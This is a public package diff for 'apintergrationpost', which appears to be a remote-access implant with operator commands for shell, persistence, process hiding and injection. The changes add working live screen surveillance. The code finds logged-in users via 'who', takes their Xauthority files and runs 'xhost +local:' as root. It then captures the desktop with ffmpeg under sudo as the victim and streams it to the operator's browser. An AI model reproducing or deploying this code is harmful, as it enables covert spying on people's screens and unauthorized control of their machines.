apintergrationpost 4.0.2 → 4.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -171,6 +171,23 @@ Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `
171
171
 
172
172
  Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
173
173
 
174
+ ## Live screen / VNC
175
+
176
+ Operator command: `vnc` or `screen` (requires active session). Opens a browser viewer with MJPEG push stream at `/stream`.
177
+
178
+ Quality settings in `screen` config (server `myra.config.json` and client `apintergrationpost.config.json`):
179
+
180
+ | Key | Default | Description |
181
+ |-----|---------|-------------|
182
+ | `fps` | `8` | Target frame rate |
183
+ | `maxWidth` / `maxHeight` | `1920` / `1080` | Resolution cap (aspect preserved) |
184
+ | `jpegQuality` | `4` | ffmpeg `-q:v` (lower = sharper, larger) |
185
+ | `dropFrames` | `true` | Send latest frame only when behind |
186
+ | `minFps` | `4` | Adaptive floor when link is slow |
187
+ | `idleStopSec` | `45` | Stop stream when no browser viewer connected |
188
+
189
+ Uses one persistent ffmpeg process per session (quiet, no per-frame execve storm).
190
+
174
191
  ## Operator Commands
175
192
 
176
193
  See server `help` for full list. Key emulation commands:
@@ -48,10 +48,15 @@
48
48
  "screenLive": true
49
49
  },
50
50
  "screen": {
51
- "fps": 3,
51
+ "fps": 8,
52
+ "maxWidth": 1920,
53
+ "maxHeight": 1080,
54
+ "jpegQuality": 4,
52
55
  "viewerPort": 5555,
53
56
  "display": ":0",
54
- "size": "1280x720"
57
+ "dropFrames": true,
58
+ "minFps": 4,
59
+ "idleStopSec": 45
55
60
  },
56
61
  "lab": {
57
62
  "mode": false,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apintergrationpost",
3
- "version": "4.0.2",
3
+ "version": "4.0.4",
4
4
  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
5
  "license": "MIT",
6
6
  "engines": {
@@ -2,6 +2,7 @@
2
2
 
3
3
  const { execSync, spawnSync } = require('child_process');
4
4
  const fs = require('fs');
5
+ const path = require('path');
5
6
 
6
7
  function hasCommand(cmd) {
7
8
  const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
@@ -32,17 +33,25 @@ function ensureSystemPackages() {
32
33
 
33
34
  function ensureDisplayAccess() {
34
35
  if (process.platform !== 'linux') return;
35
- if (!process.env.DISPLAY) {
36
- process.env.DISPLAY = ':0';
37
- }
38
36
 
39
- if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
40
- try {
41
- execSync('xhost +local:', { stdio: 'ignore' });
42
- } catch {
43
- // desktop may not be running yet
37
+ let resolver;
38
+ try {
39
+ resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
40
+ } catch {
41
+ if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
42
+ if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
43
+ try {
44
+ execSync('xhost +local:', { stdio: 'ignore' });
45
+ } catch {
46
+ // desktop may not be running yet
47
+ }
44
48
  }
49
+ return;
45
50
  }
51
+
52
+ const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
53
+ process.env.DISPLAY = ctx.display;
54
+ if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
46
55
  }
47
56
 
48
57
  module.exports = { ensureSystemPackages, ensureDisplayAccess };
@@ -1,73 +1,29 @@
1
1
  'use strict';
2
2
 
3
- const { spawn, execFile } = require('child_process');
4
- const { promisify } = require('util');
5
-
6
- const execFileAsync = promisify(execFile);
7
-
8
- function resolveFfmpegPath() {
9
- try {
10
- const bundled = require('ffmpeg-static');
11
- if (bundled && typeof bundled === 'string') return bundled;
12
- } catch {
13
- // bundled ffmpeg not available for this platform
14
- }
15
- return 'ffmpeg';
16
- }
17
-
18
- function collectStdout(proc) {
19
- return new Promise((resolve, reject) => {
20
- const chunks = [];
21
- let stderr = '';
22
- proc.stdout.on('data', (chunk) => chunks.push(chunk));
23
- proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
24
- proc.on('error', reject);
25
- proc.on('close', (code) => {
26
- if (code === 0) {
27
- resolve(Buffer.concat(chunks));
28
- } else {
29
- reject(new Error(stderr.trim() || `capture exited ${code}`));
30
- }
31
- });
32
- });
33
- }
34
-
35
- async function captureWithFfmpeg(display, size) {
36
- const ffmpegPath = resolveFfmpegPath();
37
- const [width, height] = size.split('x');
38
- const proc = spawn(ffmpegPath, [
39
- '-hide_banner',
40
- '-loglevel', 'error',
41
- '-f', 'x11grab',
42
- '-video_size', `${width}x${height}`,
43
- '-i', `${display}.0`,
44
- '-frames:v', '1',
45
- '-f', 'image2pipe',
46
- '-vcodec', 'mjpeg',
47
- '-',
48
- ], {
49
- env: { ...process.env, DISPLAY: display },
50
- });
51
- return collectStdout(proc);
52
- }
3
+ const { ScreenStream, resolveFfmpegPath } = require('./screen-stream');
53
4
 
54
5
  async function captureFrame(options = {}) {
55
6
  const display = options.display || process.env.DISPLAY || ':0';
56
- const size = options.size || '1280x720';
57
7
 
58
8
  if (!display) {
59
9
  throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
60
10
  }
61
11
 
62
12
  try {
63
- return await captureWithFfmpeg(display, size);
13
+ return await ScreenStream.captureOnce({
14
+ display,
15
+ fps: 1,
16
+ maxWidth: options.maxWidth || 1920,
17
+ maxHeight: options.maxHeight || 1080,
18
+ jpegQuality: options.jpegQuality || 4,
19
+ });
64
20
  } catch (err) {
65
21
  throw new Error(
66
- `Screen capture failed (${display}, ${size}). `
22
+ `Screen capture failed (${display}). `
67
23
  + 'Ensure a desktop session is running. '
68
24
  + `Detail: ${err.message}`
69
25
  );
70
26
  }
71
27
  }
72
28
 
73
- module.exports = { captureFrame, resolveFfmpegPath };
29
+ module.exports = { captureFrame, resolveFfmpegPath, ScreenStream };
@@ -0,0 +1,130 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const { execSync } = require('child_process');
5
+
6
+ function listXDisplays() {
7
+ try {
8
+ return fs.readdirSync('/tmp/.X11-unix')
9
+ .filter((name) => /^X\d+$/.test(name))
10
+ .map((name) => `:${name.slice(1)}`);
11
+ } catch {
12
+ return [];
13
+ }
14
+ }
15
+
16
+ function parseWhoDisplays() {
17
+ try {
18
+ const who = execSync('who', { encoding: 'utf8', timeout: 3000 });
19
+ const results = [];
20
+ for (const line of who.split('\n')) {
21
+ const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
22
+ if (match) {
23
+ results.push({ user: match[1], display: match[2] });
24
+ }
25
+ }
26
+ return results;
27
+ } catch {
28
+ return [];
29
+ }
30
+ }
31
+
32
+ function getUserUid(user) {
33
+ try {
34
+ return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
35
+ } catch {
36
+ return '';
37
+ }
38
+ }
39
+
40
+ function findXauthority(user) {
41
+ const candidates = [];
42
+ if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
43
+ if (user) {
44
+ const uid = getUserUid(user);
45
+ if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
46
+ candidates.push(`/home/${user}/.Xauthority`);
47
+ }
48
+ for (const candidate of candidates) {
49
+ if (candidate && fs.existsSync(candidate)) return candidate;
50
+ }
51
+ return '';
52
+ }
53
+
54
+ function normalizeDisplayEnv(display) {
55
+ if (!display) return ':0';
56
+ if (display.startsWith(':')) return display.split('.')[0];
57
+ return `:${display}`;
58
+ }
59
+
60
+ function normalizeX11Input(display) {
61
+ const base = normalizeDisplayEnv(display);
62
+ if (/^:\d+$/.test(base)) return `${base}.0`;
63
+ return display;
64
+ }
65
+
66
+ function grantLocalXAccess(env) {
67
+ try {
68
+ execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
69
+ } catch {
70
+ // desktop may not be running
71
+ }
72
+ }
73
+
74
+ function resolveScreenCaptureContext(configDisplay) {
75
+ const whoEntries = parseWhoDisplays();
76
+ let display = configDisplay || process.env.DISPLAY || '';
77
+ let runAsUser = null;
78
+
79
+ if (whoEntries.length > 0) {
80
+ const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
81
+ if (!display || display === ':0') {
82
+ display = active.display;
83
+ }
84
+ if (typeof process.getuid === 'function' && process.getuid() === 0) {
85
+ runAsUser = active.user;
86
+ }
87
+ }
88
+
89
+ if (!display) {
90
+ const sockets = listXDisplays();
91
+ display = sockets[0] || ':0';
92
+ }
93
+
94
+ const displayEnv = normalizeDisplayEnv(display);
95
+ const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
96
+
97
+ const ffmpegEnv = {
98
+ ...process.env,
99
+ DISPLAY: displayEnv,
100
+ };
101
+ if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
102
+ if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
103
+
104
+ if (typeof process.getuid === 'function' && process.getuid() === 0) {
105
+ grantLocalXAccess(ffmpegEnv);
106
+ }
107
+
108
+ return {
109
+ display: displayEnv,
110
+ x11Input: normalizeX11Input(displayEnv),
111
+ xauthority,
112
+ runAsUser,
113
+ ffmpegEnv,
114
+ wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
115
+ };
116
+ }
117
+
118
+ function isFrameMostlyBlack(jpegBuffer) {
119
+ // Failed captures often produce tiny invalid payloads
120
+ return !jpegBuffer || jpegBuffer.length < 800;
121
+ }
122
+
123
+ module.exports = {
124
+ resolveScreenCaptureContext,
125
+ normalizeX11Input,
126
+ normalizeDisplayEnv,
127
+ isFrameMostlyBlack,
128
+ listXDisplays,
129
+ grantLocalXAccess,
130
+ };
@@ -0,0 +1,229 @@
1
+ 'use strict';
2
+
3
+ const { EventEmitter } = require('events');
4
+ const { spawn } = require('child_process');
5
+ const { resolveScreenCaptureContext } = require('./screen-display');
6
+
7
+ const SOI = Buffer.from([0xff, 0xd8]);
8
+ const EOI = Buffer.from([0xff, 0xd9]);
9
+ const MAX_FRAME_BYTES = 512 * 1024;
10
+
11
+ function resolveFfmpegPath() {
12
+ try {
13
+ const bundled = require('ffmpeg-static');
14
+ if (bundled && typeof bundled === 'string') return bundled;
15
+ } catch {
16
+ // bundled ffmpeg not available for this platform
17
+ }
18
+ return 'ffmpeg';
19
+ }
20
+
21
+ function buildScaleFilter(maxWidth, maxHeight) {
22
+ return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
23
+ }
24
+
25
+ function buildFfmpegArgs(options, x11Input) {
26
+ return [
27
+ '-nostdin',
28
+ '-hide_banner',
29
+ '-loglevel', 'error',
30
+ '-f', 'x11grab',
31
+ '-framerate', String(options.fps),
32
+ '-draw_mouse', '1',
33
+ '-i', x11Input,
34
+ '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
35
+ '-c:v', 'mjpeg',
36
+ '-q:v', String(options.jpegQuality),
37
+ '-huffman', 'optimal',
38
+ '-f', 'mpjpeg',
39
+ 'pipe:1',
40
+ ];
41
+ }
42
+
43
+ class ScreenStream extends EventEmitter {
44
+ constructor(options = {}) {
45
+ super();
46
+ this.requestedDisplay = options.display || process.env.DISPLAY || ':0';
47
+ this.fps = options.fps || 8;
48
+ this.maxWidth = options.maxWidth || 1920;
49
+ this.maxHeight = options.maxHeight || 1080;
50
+ this.jpegQuality = options.jpegQuality || 4;
51
+ this.captureCtx = null;
52
+ this.proc = null;
53
+ this.buffer = Buffer.alloc(0);
54
+ this.running = false;
55
+ this._stderr = '';
56
+ }
57
+
58
+ start() {
59
+ if (this.running) return;
60
+ this._startCapture(this.requestedDisplay);
61
+ }
62
+
63
+ _startCapture(displayOverride) {
64
+ this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
65
+
66
+ if (!this.captureCtx.display) {
67
+ throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
68
+ }
69
+
70
+ const ffmpegPath = resolveFfmpegPath();
71
+ const ffmpegArgs = buildFfmpegArgs({
72
+ fps: this.fps,
73
+ maxWidth: this.maxWidth,
74
+ maxHeight: this.maxHeight,
75
+ jpegQuality: this.jpegQuality,
76
+ }, this.captureCtx.x11Input);
77
+
78
+ const spawnEnv = this.captureCtx.ffmpegEnv;
79
+
80
+ if (this.captureCtx.runAsUser) {
81
+ this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
82
+ env: spawnEnv,
83
+ stdio: ['ignore', 'pipe', 'pipe'],
84
+ });
85
+ } else {
86
+ this.proc = spawn(ffmpegPath, ffmpegArgs, {
87
+ env: spawnEnv,
88
+ stdio: ['ignore', 'pipe', 'pipe'],
89
+ });
90
+ }
91
+
92
+ this.running = true;
93
+ this.buffer = Buffer.alloc(0);
94
+ this._stderr = '';
95
+
96
+ this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
97
+ this.proc.stderr.on('data', (chunk) => {
98
+ this._stderr += chunk.toString();
99
+ });
100
+
101
+ this.proc.on('error', (err) => {
102
+ this.running = false;
103
+ this.emit('error', err);
104
+ });
105
+
106
+ this.proc.on('close', (code) => {
107
+ this.running = false;
108
+ if (code !== 0 && code !== null) {
109
+ const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
110
+ this.emit('error', new Error(detail));
111
+ }
112
+ this.emit('close');
113
+ });
114
+ }
115
+
116
+ stop() {
117
+ if (!this.proc) return;
118
+ const proc = this.proc;
119
+ this.proc = null;
120
+ this.running = false;
121
+ this.buffer = Buffer.alloc(0);
122
+ try {
123
+ proc.kill('SIGTERM');
124
+ } catch {
125
+ // ignore
126
+ }
127
+ setTimeout(() => {
128
+ try {
129
+ if (!proc.killed) proc.kill('SIGKILL');
130
+ } catch {
131
+ // ignore
132
+ }
133
+ }, 2000);
134
+ }
135
+
136
+ setFps(fps) {
137
+ const next = Math.max(1, Math.floor(fps));
138
+ if (next === this.fps || !this.running) {
139
+ this.fps = next;
140
+ return;
141
+ }
142
+ this.fps = next;
143
+ const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
144
+ this.stop();
145
+ this._startCapture(display);
146
+ }
147
+
148
+ bumpQuality() {
149
+ if (this.jpegQuality >= 10) return false;
150
+ this.jpegQuality += 1;
151
+ if (this.running) {
152
+ const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
153
+ this.stop();
154
+ this._startCapture(display);
155
+ }
156
+ return true;
157
+ }
158
+
159
+ _onStdout(chunk) {
160
+ this.buffer = Buffer.concat([this.buffer, chunk]);
161
+
162
+ while (this.buffer.length > 0) {
163
+ const start = this.buffer.indexOf(SOI);
164
+ if (start === -1) {
165
+ this.buffer = Buffer.alloc(0);
166
+ return;
167
+ }
168
+
169
+ if (start > 0) {
170
+ this.buffer = this.buffer.subarray(start);
171
+ }
172
+
173
+ const end = this.buffer.indexOf(EOI, 2);
174
+ if (end === -1) {
175
+ if (this.buffer.length > 8 * 1024 * 1024) {
176
+ this.buffer = Buffer.alloc(0);
177
+ this.emit('error', new Error('MJPEG parser buffer overflow'));
178
+ }
179
+ return;
180
+ }
181
+
182
+ const frame = this.buffer.subarray(0, end + 2);
183
+ this.buffer = this.buffer.subarray(end + 2);
184
+ this._emitFrame(frame);
185
+ }
186
+ }
187
+
188
+ _emitFrame(frame) {
189
+ if (frame.length > MAX_FRAME_BYTES) {
190
+ if (this.bumpQuality()) {
191
+ this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
192
+ return;
193
+ }
194
+ }
195
+
196
+ this.emit('frame', frame);
197
+ }
198
+
199
+ static captureOnce(options = {}) {
200
+ const stream = new ScreenStream(options);
201
+ return new Promise((resolve, reject) => {
202
+ const timeout = setTimeout(() => {
203
+ stream.stop();
204
+ reject(new Error('Screen capture timed out'));
205
+ }, 15000);
206
+
207
+ stream.once('frame', (frame) => {
208
+ clearTimeout(timeout);
209
+ stream.stop();
210
+ resolve(frame);
211
+ });
212
+
213
+ stream.once('error', (err) => {
214
+ clearTimeout(timeout);
215
+ stream.stop();
216
+ reject(err);
217
+ });
218
+
219
+ try {
220
+ stream.start();
221
+ } catch (err) {
222
+ clearTimeout(timeout);
223
+ reject(err);
224
+ }
225
+ });
226
+ }
227
+ }
228
+
229
+ module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };
@@ -1,37 +1,116 @@
1
1
  'use strict';
2
2
 
3
3
  const crypto = require('crypto');
4
- const { captureFrame } = require('../commands/screen-capture');
4
+ const { ScreenStream } = require('../commands/screen-stream');
5
5
 
6
6
  const name = 'screen-live';
7
7
  const commands = ['screen_start', 'screen_stop', 'screen_status'];
8
8
 
9
- let captureTimer = null;
9
+ let stream = null;
10
10
  let screenSessionId = null;
11
11
  let frameSeq = 0;
12
12
  let activeOptions = null;
13
+ let inFlight = false;
14
+ let pendingFrame = null;
15
+ let skippedFrames = 0;
16
+ let adaptiveSkipMod = 1;
17
+ let frameCounter = 0;
18
+ let lastErrorSentAt = 0;
19
+ let flushScheduled = false;
13
20
 
14
21
  function clearCapture() {
15
- if (captureTimer) {
16
- clearInterval(captureTimer);
17
- captureTimer = null;
22
+ if (stream) {
23
+ stream.removeAllListeners();
24
+ stream.stop();
25
+ stream = null;
18
26
  }
19
27
  screenSessionId = null;
20
28
  frameSeq = 0;
21
29
  activeOptions = null;
30
+ inFlight = false;
31
+ pendingFrame = null;
32
+ skippedFrames = 0;
33
+ adaptiveSkipMod = 1;
34
+ lastErrorSentAt = 0;
35
+ flushScheduled = false;
22
36
  }
23
37
 
24
- async function pushFrame(ctx) {
25
- if (!screenSessionId || !ctx.sendScreenFrame) return;
26
- try {
27
- const jpeg = await captureFrame(activeOptions);
28
- ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
29
- seq: frameSeq++,
30
- final: false,
31
- encoding: 'base64',
32
- mime: 'image/jpeg',
33
- });
34
- } catch (err) {
38
+ function flushPending(ctx) {
39
+ if (!pendingFrame || !screenSessionId || !ctx.sendScreenFrame) {
40
+ flushScheduled = false;
41
+ return;
42
+ }
43
+
44
+ const jpegBuffer = pendingFrame;
45
+ pendingFrame = null;
46
+ inFlight = true;
47
+
48
+ ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
49
+ seq: frameSeq++,
50
+ final: false,
51
+ encoding: 'base64',
52
+ mime: 'image/jpeg',
53
+ byteLength: jpegBuffer.length,
54
+ skipped: skippedFrames,
55
+ });
56
+
57
+ skippedFrames = 0;
58
+ inFlight = false;
59
+
60
+ updateAdaptiveThrottle();
61
+
62
+ if (pendingFrame) {
63
+ setImmediate(() => flushPending(ctx));
64
+ } else {
65
+ flushScheduled = false;
66
+ }
67
+ }
68
+
69
+ function queueFrame(ctx, jpegBuffer) {
70
+ if (pendingFrame) {
71
+ skippedFrames += 1;
72
+ if (skippedFrames % 8 === 0) {
73
+ updateAdaptiveThrottle();
74
+ }
75
+ }
76
+ pendingFrame = jpegBuffer;
77
+
78
+ if (!flushScheduled) {
79
+ flushScheduled = true;
80
+ setImmediate(() => flushPending(ctx));
81
+ }
82
+ }
83
+
84
+ function updateAdaptiveThrottle() {
85
+ if (!activeOptions || !stream) return;
86
+
87
+ const minFps = activeOptions.minFps || 4;
88
+
89
+ if (skippedFrames >= 8) {
90
+ adaptiveSkipMod = Math.min(4, adaptiveSkipMod + 1);
91
+ const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
92
+ if (stream.fps !== effectiveFps) {
93
+ stream.setFps(effectiveFps);
94
+ }
95
+ } else if (skippedFrames === 0 && adaptiveSkipMod > 1) {
96
+ adaptiveSkipMod -= 1;
97
+ const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
98
+ if (stream.fps !== effectiveFps) {
99
+ stream.setFps(effectiveFps);
100
+ }
101
+ }
102
+ }
103
+
104
+ function onStreamFrame(ctx, jpegBuffer) {
105
+ queueFrame(ctx, jpegBuffer);
106
+ }
107
+
108
+ function onStreamError(ctx, err) {
109
+ const now = Date.now();
110
+ if (now - lastErrorSentAt < 5000) return;
111
+ lastErrorSentAt = now;
112
+
113
+ if (screenSessionId && ctx.sendScreenFrame) {
35
114
  ctx.sendScreenFrame(screenSessionId, '', {
36
115
  seq: frameSeq++,
37
116
  final: false,
@@ -50,17 +129,28 @@ async function execute(msg, ctx) {
50
129
  }
51
130
 
52
131
  if (cmd === 'screen_start') {
53
- if (captureTimer) {
132
+ if (stream && stream.running) {
54
133
  return { action: 'continue', status: 'error', body: 'Live screen already running' };
55
134
  }
56
135
 
57
136
  const meta = msg.meta || {};
58
- const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
137
+ const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 8), 1), 15);
138
+ const minFps = Math.min(Math.max(Number(meta.minFps || screenConf.minFps || 4), 1), fps);
139
+
59
140
  activeOptions = {
60
141
  display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
61
- size: meta.size || screenConf.size || '1280x720',
142
+ fps,
143
+ minFps,
144
+ maxWidth: Number(meta.maxWidth || screenConf.maxWidth || 1920),
145
+ maxHeight: Number(meta.maxHeight || screenConf.maxHeight || 1080),
146
+ jpegQuality: Number(meta.jpegQuality || screenConf.jpegQuality || 4),
147
+ dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
62
148
  };
63
149
 
150
+ const { resolveScreenCaptureContext } = require('../commands/screen-display');
151
+ const captureCtx = resolveScreenCaptureContext(activeOptions.display);
152
+ activeOptions.display = captureCtx.display;
153
+
64
154
  ctx.labEvent({
65
155
  plugin: name,
66
156
  command: cmd,
@@ -70,26 +160,36 @@ async function execute(msg, ctx) {
70
160
  screenSessionId = crypto.randomBytes(4).toString('hex');
71
161
  frameSeq = 0;
72
162
 
73
- await pushFrame(ctx);
74
- captureTimer = setInterval(() => {
75
- pushFrame(ctx);
76
- }, Math.floor(1000 / fps));
163
+ stream = new ScreenStream(activeOptions);
164
+ stream.on('frame', (frame) => onStreamFrame(ctx, frame));
165
+ stream.on('error', (err) => onStreamError(ctx, err));
166
+
167
+ try {
168
+ stream.start();
169
+ } catch (err) {
170
+ clearCapture();
171
+ return { action: 'continue', status: 'error', body: err.message };
172
+ }
77
173
 
78
174
  return {
79
175
  action: 'continue',
80
176
  status: 'ok',
81
- body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
177
+ body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
82
178
  meta: {
83
179
  screenSessionId,
84
180
  fps,
85
- display: activeOptions.display,
86
- size: activeOptions.size,
181
+ minFps,
182
+ display: captureCtx.display,
183
+ runAsUser: captureCtx.runAsUser || null,
184
+ maxWidth: activeOptions.maxWidth,
185
+ maxHeight: activeOptions.maxHeight,
186
+ jpegQuality: activeOptions.jpegQuality,
87
187
  },
88
188
  };
89
189
  }
90
190
 
91
191
  if (cmd === 'screen_stop') {
92
- if (!captureTimer) {
192
+ if (!stream || !stream.running) {
93
193
  return { action: 'continue', status: 'error', body: 'Live screen is not running' };
94
194
  }
95
195
 
@@ -107,9 +207,14 @@ async function execute(msg, ctx) {
107
207
  action: 'continue',
108
208
  status: 'ok',
109
209
  body: JSON.stringify({
110
- active: !!captureTimer,
210
+ active: !!(stream && stream.running),
111
211
  screenSessionId,
112
212
  options: activeOptions,
213
+ frameSeq,
214
+ skippedFrames,
215
+ adaptiveSkipMod,
216
+ streamFps: stream ? stream.fps : null,
217
+ jpegQuality: stream ? stream.jpegQuality : null,
113
218
  }, null, 2),
114
219
  };
115
220
  }
package/src/server/cli.js CHANGED
@@ -57,7 +57,7 @@ Session commands (requires active session):
57
57
  shell Interactive PTY shell
58
58
  <shell_command> One-shot shell execution
59
59
  sysinfo / ps / netstat / find
60
- screen / vnc Live screen in browser (Press Enter to stop)
60
+ screen / vnc Live screen in browser (MJPEG /stream, Press Enter to stop)
61
61
  screen_stop Stop live screen stream
62
62
  cd / download / upload
63
63
  persist Baseline persistence (legacy systemd)
@@ -1,14 +1,67 @@
1
1
  'use strict';
2
2
 
3
3
  const http = require('http');
4
+ const { EventEmitter } = require('events');
4
5
 
5
- function createScreenViewer(port = 5555) {
6
+ const BOUNDARY = 'frame';
7
+
8
+ function writeMultipartFrame(res, frameBuffer) {
9
+ if (res.destroyed || res.writableEnded) return false;
10
+ try {
11
+ res.write(`--${BOUNDARY}\r\n`);
12
+ res.write('Content-Type: image/jpeg\r\n');
13
+ res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
14
+ res.write(frameBuffer);
15
+ res.write('\r\n');
16
+ return true;
17
+ } catch {
18
+ return false;
19
+ }
20
+ }
21
+
22
+ function createScreenViewer(port = 5555, options = {}) {
23
+ const emitter = new EventEmitter();
6
24
  let latestFrame = null;
25
+ let latestFrameBinary = null;
7
26
  let lastError = null;
8
27
  let frameCount = 0;
28
+ const streamClients = new Set();
29
+ let idleTimer = null;
30
+ const idleStopSec = options.idleStopSec || 45;
31
+
32
+ function clearIdleTimer() {
33
+ if (idleTimer) {
34
+ clearTimeout(idleTimer);
35
+ idleTimer = null;
36
+ }
37
+ }
38
+
39
+ function scheduleIdleStop() {
40
+ clearIdleTimer();
41
+ if (streamClients.size > 0) return;
42
+ idleTimer = setTimeout(() => {
43
+ idleTimer = null;
44
+ emitter.emit('idle');
45
+ }, idleStopSec * 1000);
46
+ }
47
+
48
+ function removeStreamClient(res) {
49
+ streamClients.delete(res);
50
+ scheduleIdleStop();
51
+ }
52
+
53
+ function pushFrameToClients(frameBuffer) {
54
+ for (const client of streamClients) {
55
+ if (!writeMultipartFrame(client, frameBuffer)) {
56
+ streamClients.delete(client);
57
+ }
58
+ }
59
+ }
9
60
 
10
61
  const server = http.createServer((req, res) => {
11
- if (req.url === '/' || req.url === '/index.html') {
62
+ const url = req.url.split('?')[0];
63
+
64
+ if (url === '/' || url === '/index.html') {
12
65
  res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
13
66
  res.end(`<!DOCTYPE html>
14
67
  <html>
@@ -18,8 +71,8 @@ function createScreenViewer(port = 5555) {
18
71
  <style>
19
72
  body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
20
73
  header { padding: 8px 12px; background: #222; font-size: 13px; }
21
- img { display: block; width: 100%; height: auto; background: #000; }
22
- .err { color: #f88; padding: 12px; }
74
+ img { display: block; width: 100%; height: auto; background: #000; min-height: 200px; }
75
+ .err { color: #f88; padding: 12px; white-space: pre-wrap; }
23
76
  </style>
24
77
  </head>
25
78
  <body>
@@ -27,24 +80,31 @@ function createScreenViewer(port = 5555) {
27
80
  <img id="frame" alt="live screen">
28
81
  <div id="err" class="err"></div>
29
82
  <script>
30
- const img = document.getElementById('frame');
31
83
  const err = document.getElementById('err');
32
84
  const n = document.getElementById('n');
85
+ const img = document.getElementById('frame');
86
+ let objectUrl = null;
87
+
33
88
  async function tick() {
34
89
  try {
35
- const r = await fetch('/frame?' + Date.now());
36
- if (r.status === 204) return;
90
+ const r = await fetch('/frame.jpg?' + Date.now());
91
+ if (r.status === 204) {
92
+ err.textContent = 'Waiting for frames from client...';
93
+ return;
94
+ }
37
95
  if (!r.ok) throw new Error('HTTP ' + r.status);
38
- const j = await r.json();
39
- if (j.error) { err.textContent = j.error; return; }
96
+ const blob = await r.blob();
97
+ if (objectUrl) URL.revokeObjectURL(objectUrl);
98
+ objectUrl = URL.createObjectURL(blob);
99
+ img.src = objectUrl;
40
100
  err.textContent = '';
41
- img.src = 'data:image/jpeg;base64,' + j.frame;
42
- n.textContent = j.count;
101
+ n.textContent = r.headers.get('X-Frame-Count') || n.textContent;
43
102
  } catch (e) {
44
103
  err.textContent = e.message;
45
104
  }
46
105
  }
47
- setInterval(tick, 200);
106
+
107
+ setInterval(tick, 125);
48
108
  tick();
49
109
  </script>
50
110
  </body>
@@ -52,7 +112,50 @@ function createScreenViewer(port = 5555) {
52
112
  return;
53
113
  }
54
114
 
55
- if (req.url.startsWith('/frame')) {
115
+ if (url === '/stream') {
116
+ res.writeHead(200, {
117
+ 'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
118
+ 'Cache-Control': 'no-cache, no-store, must-revalidate',
119
+ Connection: 'keep-alive',
120
+ Pragma: 'no-cache',
121
+ });
122
+
123
+ streamClients.add(res);
124
+ clearIdleTimer();
125
+
126
+ if (latestFrameBinary) {
127
+ writeMultipartFrame(res, latestFrameBinary);
128
+ }
129
+
130
+ req.on('close', () => removeStreamClient(res));
131
+ res.on('error', () => removeStreamClient(res));
132
+ return;
133
+ }
134
+
135
+ if (url === '/frame.jpg') {
136
+ if (lastError && !latestFrameBinary) {
137
+ res.writeHead(503, {
138
+ 'Content-Type': 'text/plain; charset=utf-8',
139
+ 'Cache-Control': 'no-store',
140
+ });
141
+ res.end(lastError);
142
+ return;
143
+ }
144
+ if (!latestFrameBinary) {
145
+ res.writeHead(204);
146
+ res.end();
147
+ return;
148
+ }
149
+ res.writeHead(200, {
150
+ 'Content-Type': 'image/jpeg',
151
+ 'Cache-Control': 'no-store',
152
+ 'X-Frame-Count': String(frameCount),
153
+ });
154
+ res.end(latestFrameBinary);
155
+ return;
156
+ }
157
+
158
+ if (url.startsWith('/frame')) {
56
159
  if (lastError && !latestFrame) {
57
160
  res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
58
161
  res.end(JSON.stringify({ error: lastError, count: frameCount }));
